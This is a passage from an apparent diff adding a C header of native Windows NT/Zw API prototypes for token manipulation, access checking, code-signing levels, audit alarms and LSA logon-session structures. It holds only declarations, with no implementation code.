POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE Type, + _Out_ PHANDLE NewTokenHandle +); + + +_When_(TokenInformationClass == TokenAccessInformation, +_At_(TokenInformationLength, + _In_range_(>= , sizeof(TOKEN_ACCESS_INFORMATION)))) +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _Out_ _When_(PreviousState == NULL, _Out_opt_) PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_range_(>= , sizeof(TOKEN_GROUPS)) ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState, + _Out_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAdjustGroupsToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN ResetToDefault, + _In_opt_ PTOKEN_GROUPS NewState, + _In_opt_ ULONG BufferLength, + _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_GROUPS PreviousState, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAdjustTokenClaimsAndDeviceGroups( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN UserResetToDefault, + _In_ BOOLEAN DeviceResetToDefault, + _In_ BOOLEAN DeviceGroupsResetToDefault, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState, + _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState, + _In_ ULONG UserBufferLength, + _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState, + _In_ ULONG DeviceBufferLength, + _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState, + _In_ ULONG DeviceGroupsBufferLength, + _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups, + _Out_opt_ PULONG UserReturnLength, + _Out_opt_ PULONG DeviceReturnLength, + _Out_opt_ PULONG DeviceGroupsReturnBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAdjustTokenClaimsAndDeviceGroups( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN UserResetToDefault, + _In_ BOOLEAN DeviceResetToDefault, + _In_ BOOLEAN DeviceGroupsResetToDefault, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState, + _In_opt_ PTOKEN_GROUPS NewDeviceGroupsState, + _In_ ULONG UserBufferLength, + _Out_writes_bytes_to_opt_(UserBufferLength, *UserReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState, + _In_ ULONG DeviceBufferLength, + _Out_writes_bytes_to_opt_(DeviceBufferLength, *DeviceReturnLength) PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState, + _In_ ULONG DeviceGroupsBufferLength, + _Out_writes_bytes_to_opt_(DeviceGroupsBufferLength, *DeviceGroupsReturnBufferLength) PTOKEN_GROUPS PreviousDeviceGroups, + _Out_opt_ PULONG UserReturnLength, + _Out_opt_ PULONG DeviceReturnLength, + _Out_opt_ PULONG DeviceGroupsReturnBufferLength +); +#endif + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterTokenEx( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _In_ ULONG DisableUserClaimsCount, + _In_opt_ PUNICODE_STRING UserClaimsToDisable, + _In_ ULONG DisableDeviceClaimsCount, + _In_opt_ PUNICODE_STRING DeviceClaimsToDisable, + _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes, + _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups, + _Out_ PHANDLE NewTokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFilterTokenEx( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _In_ ULONG DisableUserClaimsCount, + _In_opt_ PUNICODE_STRING UserClaimsToDisable, + _In_ ULONG DisableDeviceClaimsCount, + _In_opt_ PUNICODE_STRING DeviceClaimsToDisable, + _In_opt_ PTOKEN_GROUPS DeviceGroupsToDisable, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedUserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION RestrictedDeviceAttributes, + _In_opt_ PTOKEN_GROUPS RestrictedDeviceGroups, + _Out_ PHANDLE NewTokenHandle +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompareTokens( + _In_ HANDLE FirstTokenHandle, + _In_ HANDLE SecondTokenHandle, + _Out_ PBOOLEAN Equal +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityAttributesToken( + _In_ HANDLE TokenHandle, + _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes, + _In_ ULONG NumberOfAttributes, + _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_ ULONG Length, + _Out_ PULONG ReturnLength +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySecurityAttributesToken( + _In_ HANDLE TokenHandle, + _In_reads_opt_(NumberOfAttributes) PUNICODE_STRING Attributes, + _In_ ULONG NumberOfAttributes, + _Out_writes_bytes_(Length) PVOID Buffer, // PTOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_ ULONG Length, + _Out_ PULONG ReturnLength +); +#endif + +// +// Access checking +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus +); + +// +// Signing +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetCachedSigningLevel( + _In_ ULONG Flags, + _In_ SE_SIGNING_LEVEL InputSigningLevel, + _In_reads_(SourceFileCount) PHANDLE SourceFiles, + _In_ ULONG SourceFileCount, + _In_opt_ HANDLE TargetFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetCachedSigningLevel( + _In_ ULONG Flags, + _In_ SE_SIGNING_LEVEL InputSigningLevel, + _In_reads_(SourceFileCount) PHANDLE SourceFiles, + _In_ ULONG SourceFileCount, + _In_opt_ HANDLE TargetFile +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetCachedSigningLevel( + _In_ HANDLE File, + _Out_ PULONG Flags, + _Out_ PSE_SIGNING_LEVEL SigningLevel, + _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint, + _Inout_opt_ PULONG ThumbprintSize, + _Out_opt_ PULONG ThumbprintAlgorithm +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetCachedSigningLevel( + _In_ HANDLE File, + _Out_ PULONG Flags, + _Out_ PSE_SIGNING_LEVEL SigningLevel, + _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint, + _Inout_opt_ PULONG ThumbprintSize, + _Out_opt_ PULONG ThumbprintAlgorithm +); + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareSigningLevels( + _In_ SE_SIGNING_LEVEL FirstSigningLevel, + _In_ SE_SIGNING_LEVEL SecondSigningLevel +); + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCompareSigningLevels( + _In_ SE_SIGNING_LEVEL FirstSigningLevel, + _In_ SE_SIGNING_LEVEL SecondSigningLevel +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +// +// Audit alarm +// + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_opt_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_opt_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted +); + +// LSA + +#ifndef _KERNEL_MODE + +#include + +#else // _KERNEL_MODE + +//#pragma comment(lib, "ksecdd.lib") + +#if (NTDDI_VERSION >= NTDDI_VISTA) +typedef struct _LSA_LAST_INTER_LOGON_INFO { + LARGE_INTEGER LastSuccessfulLogon; + LARGE_INTEGER LastFailedLogon; + ULONG FailedAttemptCountSinceLastSuccessfulLogon; +} LSA_LAST_INTER_LOGON_INFO, * PLSA_LAST_INTER_LOGON_INFO; +#endif // NTDDI_VERSION >= NTDDI_VISTA + +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + LSA_UNICODE_STRING AuthenticationPackage; + ULONG LogonType; + ULONG Session; + PSID Sid; + LARGE_INTEGER LogonTime; + + // + // new for whistler: + // + + LSA_UNICODE_STRING LogonServer; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING Upn; + +#if (NTDDI_VERSION >= NTDDI_VISTA) + + // + // new for LH + // + + ULONG UserFlags; + + LSA_LAST_INTER_LOGON_INFO LastLogonInfo; + LSA_UNICODE_STRING LogonScript; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + + LARGE_INTEGER LogoffTime; + LARGE_INTEGER KickOffTime; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + +#endif +} SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; + +NTKERNELAPI +NTSTATUS +NTAPI +LsaEnumerateLogonSessions( + _Out_ PULONG LogonSessionCount, + _Out_ PLUID* LogonSessionList +); + +NTKERNELAPI +NTSTATUS 